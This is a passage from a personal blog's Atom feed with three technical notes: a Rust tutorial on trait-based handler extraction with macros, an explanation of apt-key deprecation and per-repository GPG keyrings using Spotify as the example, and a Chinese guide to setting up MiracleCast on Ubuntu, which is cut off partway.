&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl&amp;lt;F, T&amp;gt; Handler&amp;lt;T&amp;gt; for F
where
    F: Fn(T),
    T: FromContext,
{
    fn call(self, context: Context) {
        (self)(T::from_context(&amp;amp;context));
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To Support multiple function parameters we&#x27;ll go ahead and implement &lt;code&gt;Handler&amp;lt;Id&amp;gt;&lt;&#x2F;code&gt; for closure types with 2, 3, 4 and so on parameters. An interesting point here is that this implementation is agnostic to the order of the parameters - it will support both &lt;code&gt;fn foo(p: Param, id: Id)&lt;&#x2F;code&gt; and &lt;code&gt;fn foo(id: Id, p: Param)&lt;&#x2F;code&gt;!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;这样的话，我们在函数调用和它的参数之间就有了一个 “middleware”。这里我们将调用 FromContext::from_context 方法，将上下文转换为预期的函数参数，即 Param 或 Id。
译者注：执行 impl&amp;lt;F, T&amp;gt; Handler&amp;lt;T&amp;gt; for F 后，相当于为 Fn&amp;lt;T&amp;gt; 类型实现了 Handler 这个 trait，即 print_id 实现了 Handler，可以调用 call 方法，而 call 方法中的 self 就是 print_id。
我们继续添加代码，支持两个函数参数的情况。有趣的是，这个实现与参数的顺序无关--它同时支持 fn foo(p: Param, id: id) 和 fn foo(id: id, p: Param)：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl&amp;lt;T1, T2, F&amp;gt; Handler&amp;lt;(T1, T2)&amp;gt; for F
where
    F: Fn(T1, T2),
    T1: FromContext,
    T2: FromContext,
{
    fn call(self, context: Context) {
        (self)(T1::from_context(&amp;amp;context), T2::from_context(&amp;amp;context));
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过宏，可以一次性实现不定参数的情况，例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;macro_rules! all_the_tuples {
    ($name:ident) =&amp;gt; {
        $name!([]);
        $name!([T1]);
        $name!([T1, T2]);
        $name!([T1, T2, T3]);
        &amp;#x2F;&amp;#x2F; Can add more
    };
}

macro_rules! impl_handler {
    (
        [$($ty:ident),*]
    ) =&amp;gt; {
        impl&amp;lt;F, $($ty,)*&amp;gt; Handler&amp;lt;($($ty,)*)&amp;gt; for F
        where
            F: Fn($($ty,)*),
            $( $ty: FromContext,)*
        {
            fn call(self, context: Context) {
                self($( $ty::from_context(&amp;amp;context), )*);
            }
        }
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;&#x2F;h3&gt;
&lt;p&gt;The implementation of the &lt;code&gt;trigger&lt;&#x2F;code&gt; function is now straight forward&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub fn trigger&amp;lt;T, H&amp;gt;(context: Context, handler: H)
where
    H: Handler&amp;lt;T&amp;gt;,
{
    handler.call(context);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Lets examine what happens for this call&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;  let context = Context::new(&amp;quot;magic&amp;quot;.into(), 33);

  trigger(context.clone(), print_id);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;print_id&lt;&#x2F;code&gt; is of type &lt;code&gt;Fn(Id)&lt;&#x2F;code&gt; which has an implementation for &lt;code&gt;Handler&amp;lt;Id&amp;gt;&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;Handler::call&lt;&#x2F;code&gt; method is called from which we &lt;code&gt;Id::from_context(context)&lt;&#x2F;code&gt; which returns an instance of &lt;code&gt;Id&lt;&#x2F;code&gt; struct.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;print_id&lt;&#x2F;code&gt; is called with the parameter it expects.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Magic demystified.&lt;&#x2F;p&gt;
&lt;p&gt;附完整代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[derive(Clone, Debug)]
struct Context {
    param: String,
    id: u32,
}

impl Context {
    fn new(param: String, id: u32) -&amp;gt; Context {
        Context { param, id }
    }
}

trait FromContext {
    fn from_context(context: &amp;amp;Context) -&amp;gt; Self;
}
trait Handler&amp;lt;T&amp;gt; {
    fn call(self, context: Context);
}

struct Param(String);

impl FromContext for Param {
    fn from_context(context: &amp;amp;Context) -&amp;gt; Self {
        Param(context.param.clone())
    }
}

struct Id(u32);

impl FromContext for Id {
    fn from_context(context: &amp;amp;Context) -&amp;gt; Self {
        Id(context.id.clone())
    }
}

macro_rules! all_the_tuples {
    ($name:ident) =&amp;gt; {
        $name!([]);
        $name!([T1]);
        $name!([T1, T2]);
        $name!([T1, T2, T3]);
    };
}

macro_rules! impl_handler {
    (
        [$($ty:ident),*]
    ) =&amp;gt; {
        impl&amp;lt;F, $($ty,)*&amp;gt; Handler&amp;lt;($($ty,)*)&amp;gt; for F
        where
            F: Fn($($ty,)*),
            $( $ty: FromContext,)*
        {
            fn call(self, context: Context) {
                self($( $ty::from_context(&amp;amp;context), )*);
            }
        }
    };
}

all_the_tuples!(impl_handler);

fn trigger&amp;lt;T, H&amp;gt;(context: Context, handler: H)
where
    H: Handler&amp;lt;T&amp;gt;,
{
    handler.call(context);
}

fn print_id(id: Id) {
    println!(&amp;quot;id is {}&amp;quot;, id.0);
}

fn print_param(Param(param): Param) {
    println!(&amp;quot;id is {}&amp;quot;, param);
}

fn print_all(Param(param): Param, Id(id): Id) {
    println!(&amp;quot;param is {param}, id is {id}&amp;quot;);
}

pub fn main() {
    let context = Context::new(&amp;quot;magic&amp;quot;.into(), 33);
    trigger(context.clone(), print_id);
    trigger(context.clone(), print_param);
    trigger(context.clone(), print_all);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>apt-key is deprecated. Manage keyring files in trusted.gpg.d</title>
        <published>2024-05-26T00:00:00+00:00</published>
        <updated>2024-05-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/apt-key-is-deprecated.-manage-keyring-files-in-trusted.gpg.d/"/>
        <id>https://vercel.juzhong.asia/obsidian/apt-key-is-deprecated.-manage-keyring-files-in-trusted.gpg.d/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/apt-key-is-deprecated.-manage-keyring-files-in-trusted.gpg.d/">&lt;h1 id=&quot;apt-key-is-deprecated-manage-keyring-files-in-trusted-gpg-d&quot;&gt;apt-key is deprecated. Manage keyring files in trusted.gpg.d&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;installing-a-package-from-an-external-repository-in-ubuntu-consists-of-three-steps&quot;&gt;Installing a package from an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;itsfoss.com&#x2F;adding-external-repositories-ubuntu&#x2F;&quot;&gt;external repository in Ubuntu&lt;&#x2F;a&gt; consists of three steps:&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;Adding the repository’s GPG key to the system&lt;&#x2F;li&gt;
&lt;li&gt;Adding the external repository to the system&lt;&#x2F;li&gt;
&lt;li&gt;Installing the package from this external repository&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;But lately, you would notice a message about ‘apt-key being deprecated’ when you try installing packages from third-party repositories.&lt;&#x2F;p&gt;
&lt;p&gt;Take the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;itsfoss.com&#x2F;install-spotify-ubuntu-linux&#x2F;&quot;&gt;installation of Spotify on Ubuntu&lt;&#x2F;a&gt; for example. When I add the GPG key to the system, it complains.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -sS https:&amp;#x2F;&amp;#x2F;download.spotify.com&amp;#x2F;debian&amp;#x2F;pubkey_5E3C45D7B312C643.gpg | sudo apt-key add -
[sudo] password for abhishek:
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s a warning, not an error. It doesn’t stop the process. The GPG key is added to your system and you can continue adding the external repository.&lt;&#x2F;p&gt;
&lt;p&gt;However, it will create further warnings (again, not errors). In the example here, if I continue adding the external repository, it shows me this message “&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;itsfoss.com&#x2F;key-is-stored-in-legacy-trusted-gpg&#x2F;&quot;&gt;key is stored in legacy trusted.gpg keyring&lt;&#x2F;a&gt;“.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
W: http:&amp;#x2F;&amp;#x2F;repository.spotify.com&amp;#x2F;dists&amp;#x2F;stable&amp;#x2F;InRelease: Key is stored in legacy trusted.gpg keyring (&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg), see the DEPRECATION section in apt-key(8) for details.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It doesn’t stop the installation of the package, though. In the example, I was able to install the spotify-client package afterward.&lt;&#x2F;p&gt;
&lt;p&gt;If it’s not an error, do you need to be worried about it? Probably not. Not now, at least. However, it would be better to understand future changes coming to this external repo mechanism.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;understanding-the-apt-key-deprecation-and-trusted-gpg-issue&quot;&gt;Understanding the apt-key deprecation and trusted.gpg issue&lt;&#x2F;h2&gt;
&lt;p&gt;There are two parts to this message:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;apt-key is deprecated&lt;&#x2F;li&gt;
&lt;li&gt;Manage keyring files in trusted.gpg.d&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I’ll come to both points in a moment.&lt;&#x2F;p&gt;
&lt;p&gt;When you add the keys (.gpg or .asc) of a repository, your system trusts the packages (signed with that key) coming from the repository. If you don’t add the key of a repository, your system won’t allow installing packages from it.&lt;&#x2F;p&gt;
&lt;p&gt;For a long time, the apt-key command line tool has been used for managing the repository keys to Debian and other distros using apt package management. You can add, list, update, and remove the keys with this command.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;problem-with-the-way-apt-key-works&quot;&gt;Problem with the way apt-key works&lt;&#x2F;h3&gt;
&lt;p&gt;It works by adding the keys to the &#x2F;etc&#x2F;apt&#x2F;trusted.gpg file. The apt package manager trusts the keys inside this file.&lt;&#x2F;p&gt;
&lt;p&gt;Sounds good, right? However, it was discovered to be a potential security issue. Your system trusts those keys completely, not just for the packages you added them for.&lt;&#x2F;p&gt;
&lt;p&gt;Imagine that you added keys to repository A to get package AA and to repo B to get package BB. Your system will gladly accept package BB signed by the key of repo A. It cannot relate the keys to their respective packages.&lt;&#x2F;p&gt;
&lt;p&gt;Now, it’s easier said than done because there are other factors in play like apt policy and preferences but it opens an attack surface.&lt;&#x2F;p&gt;
&lt;p&gt;This is the reason why apt-key is being deprecated. That’s the first part of the warning message.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ubuntu-wants-you-to-separate-gpg-keys&quot;&gt;Ubuntu wants you to separate GPG keys&lt;&#x2F;h3&gt;
&lt;p&gt;Coming to the second part of the warning message; “Manage keyring files in trusted.gpg.d”.&lt;&#x2F;p&gt;
&lt;p&gt;Ubuntu doesn’t want you to add all the signature keys in the single &#x2F;etc&#x2F;apt&#x2F;trusted.gpg file. It suggests using a separate file that are located in the &#x2F;etc&#x2F;apt&#x2F;trusted.gpg.d directory.&lt;&#x2F;p&gt;
&lt;p&gt;It’s the same mechanism it uses for the sources list where external repository sources are listed in their own file under &#x2F;etc&#x2F;apt&#x2F;sources.list.d instead of keeping everything under the &#x2F;etc&#x2F;apt&#x2F;sources.list file. It makes managing the external repos a bit easier.&lt;&#x2F;p&gt;
&lt;p&gt;This means that instead of using the apt-key in this fashion:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -sS https:&amp;#x2F;&amp;#x2F;download.spotify.com&amp;#x2F;debian&amp;#x2F;pubkey_5E3C45D7B312C643.gpg | sudo apt-key add -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You should use it like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -sS https:&amp;#x2F;&amp;#x2F;download.spotify.com&amp;#x2F;debian&amp;#x2F;pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which is basically adding the key to its dedicated file under &#x2F;etc&#x2F;apt&#x2F;trusted.d directory. Ubuntu won’t complain anymore.&lt;&#x2F;p&gt;
&lt;p&gt;Although this doesn’t fix the original concern of cross-signing the packages. The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianRepository&#x2F;UseThirdParty?ref=itsfoss.com&quot;&gt;proper way&lt;&#x2F;a&gt; to fix is to add the key location to the sources list file of the repository. I’ll discuss both methods in the next section.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution-1-adding-the-gpg-keys-to-the-system-to-keep-ubuntu-happy-relatively-easier-but-not-proper-way&quot;&gt;Solution 1: Adding the GPG keys to the system to keep Ubuntu happy (relatively easier but not proper way)&lt;&#x2F;h2&gt;
&lt;p&gt;Unfortunately, there is no easy way around this. You’ll have to use the command line and you should figure out correct parameters. There is no ‘run this and you are done’ thing here.&lt;&#x2F;p&gt;
&lt;p&gt;The idea here is to add the GPG key under its dedicated file in &#x2F;etc&#x2F;apt&#x2F;trusted.gpg.d.&lt;&#x2F;p&gt;
&lt;p&gt;There are couple of scenarios here.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-have-already-added-the-key-in-etc-apt-trusted-gpg-file&quot;&gt;You have already added the key in &#x2F;etc&#x2F;apt&#x2F;trusted.gpg file&lt;&#x2F;h3&gt;
&lt;p&gt;In this case, list the keys with this command:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-key list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There should be a way to identify the repository. You should have its name or developers name.&lt;&#x2F;p&gt;
&lt;p&gt;In my case, I am handling the Spotify repository:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;abhishek@itsfoss:~$ sudo apt-key list
[sudo] password for abhishek:
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg
--------------------
pub   rsa4096 2021-10-27 [SC] [expires: 2023-01-20]
      F9A2 1197 6ED6 62F0 0E59  361E 5E3C 45D7 B312 C643
uid           [ unknown] Spotify Public Repository Signing Key &amp;lt;tux@spotify.com&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Copy the last 8 characters of the second line under pub. In my case, it is &lt;code&gt;B312 C643&lt;&#x2F;code&gt;. You’ll have to remove the space between the numbers and use it like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-key export B312C643 | sudo gpg --dearmour -o &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The output file could be named anything but it is better to use a name that is associated with the package or repository.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;gpg --dearmour&lt;&#x2F;code&gt; part is important because the mechanism expects you to have the keys in binary format.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-haven-t-added-the-external-keys-yet&quot;&gt;You haven’t added the external keys yet&lt;&#x2F;h3&gt;
&lt;p&gt;Well, in that case, get the keys and add it to your trsuted.gpg.d directory.&lt;&#x2F;p&gt;
&lt;p&gt;If only it was that simple. The keys can be in several file formats like .asc, .gpg etc. And then those keys can be &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.techopedia.com&#x2F;definition&#x2F;23150&#x2F;ascii-armor?ref=itsfoss.com&quot;&gt;armored&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;An armored GPG file is encrypted but shows random text instead of being in binary format. An armored GPG key starts with:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But your GPG key should not be ‘armored’. It should be in binary format (if you try to read it, it shows gibberish).&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ay`�����?o;���Lh����҇�^j?�,4�@8�Xh�]�j�F��Q��W�ă|,%C�n��nG�t���׺���b%&amp;#x2F;Ka����i���
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is why it is important to use &lt;code&gt;sudo gpg --dearmour&lt;&#x2F;code&gt; while handling the keys. If the added keys are not in the binary format, you’ll start seeing this message in the output of apt update command:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;The key(s) in the keyring &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg are ignored as the file has an unsupported filetype.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You may also &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linuxhandbook.com&#x2F;file-command&#x2F;?ref=itsfoss.com&quot;&gt;use the file command&lt;&#x2F;a&gt; to check if the key is armored or not.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;file repo-key.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and if the output is like ‘PGP public key block’, it is an armored file and needs to be converted to binary.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;abhishek@itsfoss:~$ file &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg
&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg: PGP public key block Public-Key (old)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So, the steps here involve:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Downloading the keys and checking if it is armored or not&lt;&#x2F;li&gt;
&lt;li&gt;If the file is armored, it needs to be dearmored in binary format&lt;&#x2F;li&gt;
&lt;li&gt;And then the dearmored key is added to its own file under &#x2F;etc&#x2F;apt&#x2F;trusted.gpg.d directory&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You may combine all in one single command like this given that you know that it is an armored key.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -sS https:&amp;#x2F;&amp;#x2F;download.spotify.com&amp;#x2F;debian&amp;#x2F;pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;spotify.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As I mentioned earlier, this is relatively easier but not the proper way. What’s the proper way? Let’s discuss that.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution-2-adding-the-gpg-keys-to-the-system-to-the-proper-way&quot;&gt;Solution 2: Adding the GPG keys to the system to the proper way&lt;&#x2F;h2&gt;
&lt;p&gt;This is similar to what you have seen in the previous section but it has one more step of adding the key’s location to the repository’s sources list file.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Downloading the keys and checking if it is armored or not&lt;&#x2F;li&gt;
&lt;li&gt;If the file is armored, it needs to be dearmored in binary format&lt;&#x2F;li&gt;
&lt;li&gt;And then the dearmored key is added to its own file under &#x2F;usr&#x2F;share&#x2F;keyrings directory&lt;&#x2F;li&gt;
&lt;li&gt;The location of the key file is added to the sources list file of the repository&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;In the same example, let’s add the key of the Spotify repository in &#x2F;usr&#x2F;share&#x2F;keyrings directory.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -sS https:&amp;#x2F;&amp;#x2F;download.spotify.com&amp;#x2F;debian&amp;#x2F;pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;spotify.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, comes the next part. Normally, the content of the sources list file are like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;deb URL_of_the_repo stable non-free
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You should edit it and add the location of the key file like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;deb [signed-by=&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;key-file.gpg] URL_of_the_repo stable non-free
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This way, you are linking the package to a specific key. Now, this key cannot be used to download any other package. No more cross-signing.&lt;&#x2F;p&gt;
&lt;p&gt;In the Spotify example, I modified the command this way so that the sources list also contains the signed by information.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;deb [signed-by=&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;spotify.gpg] http:&amp;#x2F;&amp;#x2F;repository.spotify.com stable non-free&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;spotify.list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;what-next&quot;&gt;What next?&lt;&#x2F;h2&gt;
&lt;p&gt;As you can see, there is no easy-to-use mechanism in place to replace the apt-key command. It requires a lot of manual effort and it should not be like this.&lt;&#x2F;p&gt;
&lt;p&gt;Since it is the transitioning phase, the ‘apt-key is deprecated’ message is a warning but things could be more strict in future versions of Ubuntu.&lt;&#x2F;p&gt;
&lt;p&gt;For now, even if you ignore this warning, you can continue using the external repository.&lt;&#x2F;p&gt;
&lt;p&gt;In my opinion, the onus lies on the external repository provider. They should be the one providing the correct way of adding their repository.&lt;&#x2F;p&gt;
&lt;p&gt;I see that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;brave.com&#x2F;linux&#x2F;?ref=itsfoss.com&quot;&gt;Brave browser provides the correct, modern instructions&lt;&#x2F;a&gt; but many others, like Spotify, don’t do it. The change should come from developer’s side. The user should not be fiddling around with the warning and error messages.&lt;&#x2F;p&gt;
&lt;p&gt;It’s not one of my best articles as it has too many moving points and leaves many things for you to figure out. I have a feeling that the article may not clear all things. If that’s the case, please leave your questions and suggestions in the comment section and I’ll try explaining it further.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>将windows的显示器作为linux的扩展屏_linux miracast-CSDN博客</title>
        <published>2024-05-24T00:00:00+00:00</published>
        <updated>2024-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/将windows的显示器作为linux的扩展屏_linux-miracast-csdn博客/"/>
        <id>https://vercel.juzhong.asia/obsidian/将windows的显示器作为linux的扩展屏_linux-miracast-csdn博客/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/将windows的显示器作为linux的扩展屏_linux-miracast-csdn博客/">&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;测试的linux系统为ubuntu 18.04&lt;&#x2F;li&gt;
&lt;li&gt;测试的windows系统为win10&lt;&#x2F;li&gt;
&lt;li&gt;将windows的显示器作为linux的扩展屏，需要使用微软的Miracast技术。windows自带就不多说了，linux使用的是这个开源软件&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;albfan&#x2F;miraclecast&quot;&gt;albfan&#x2F;miraclecast&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;操作分成两个部分，在linux和windows上都要进行配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;win&quot;&gt;Win&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;打开蓝牙，连接WiFi&lt;&#x2F;li&gt;
&lt;li&gt;进入设置，找到系统=&amp;gt;投影到此电脑&lt;&#x2F;li&gt;
&lt;li&gt;如果其中的选项都是灰色无法设置，可能是没有安装相应的功能，则在设置中搜索可选功能，然后找到“无线显示器”安装即可&lt;&#x2F;li&gt;
&lt;li&gt;若选项可以设置，则根据自己的需求设置&lt;&#x2F;li&gt;
&lt;li&gt;然后打开软件“连接”（可以直接在菜单栏中搜索）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;&#x2F;h2&gt;
&lt;p&gt;==强烈建议参考官方README设置==，下面的方法仅仅是做个记录，==操作默认使用root权限==&lt;&#x2F;p&gt;
&lt;h3 id=&quot;requirements&quot;&gt;Requirements&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先下载代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone --depth=1 https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;albfan&amp;#x2F;miraclecast.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;systemd: 要求版本&amp;gt;=221，查看方式如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dpkg -l|grep systemd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;glib: A &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=utility&amp;amp;spm=1001.2101.3001.7020&quot;&gt;utility&lt;&#x2F;a&gt; library. Used by the current DHCP implementation. Will be removed once sd-dns gains DHCP-server capabilities. required: ~=glib2-2.38 (might work with older releases, untested…)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行源码中的&lt;code&gt;res&#x2F;test-viewer.sh&lt;&#x2F;code&gt;，如果没有安装完全的话会提示类似&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;wpa_supplicant: MiracleCast spawns wpa_supplicant with a custom config.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install wpasupplicant
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查无线网卡是否支持P2P：进入源码中的&lt;code&gt;res&lt;&#x2F;code&gt;文件夹，运行&lt;code&gt;test-hardware-capabilities.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;（可选）check: 作者测试的版本是0.9.11&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install check
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;build-and-install&quot;&gt;Build and install&lt;&#x2F;h3&gt;
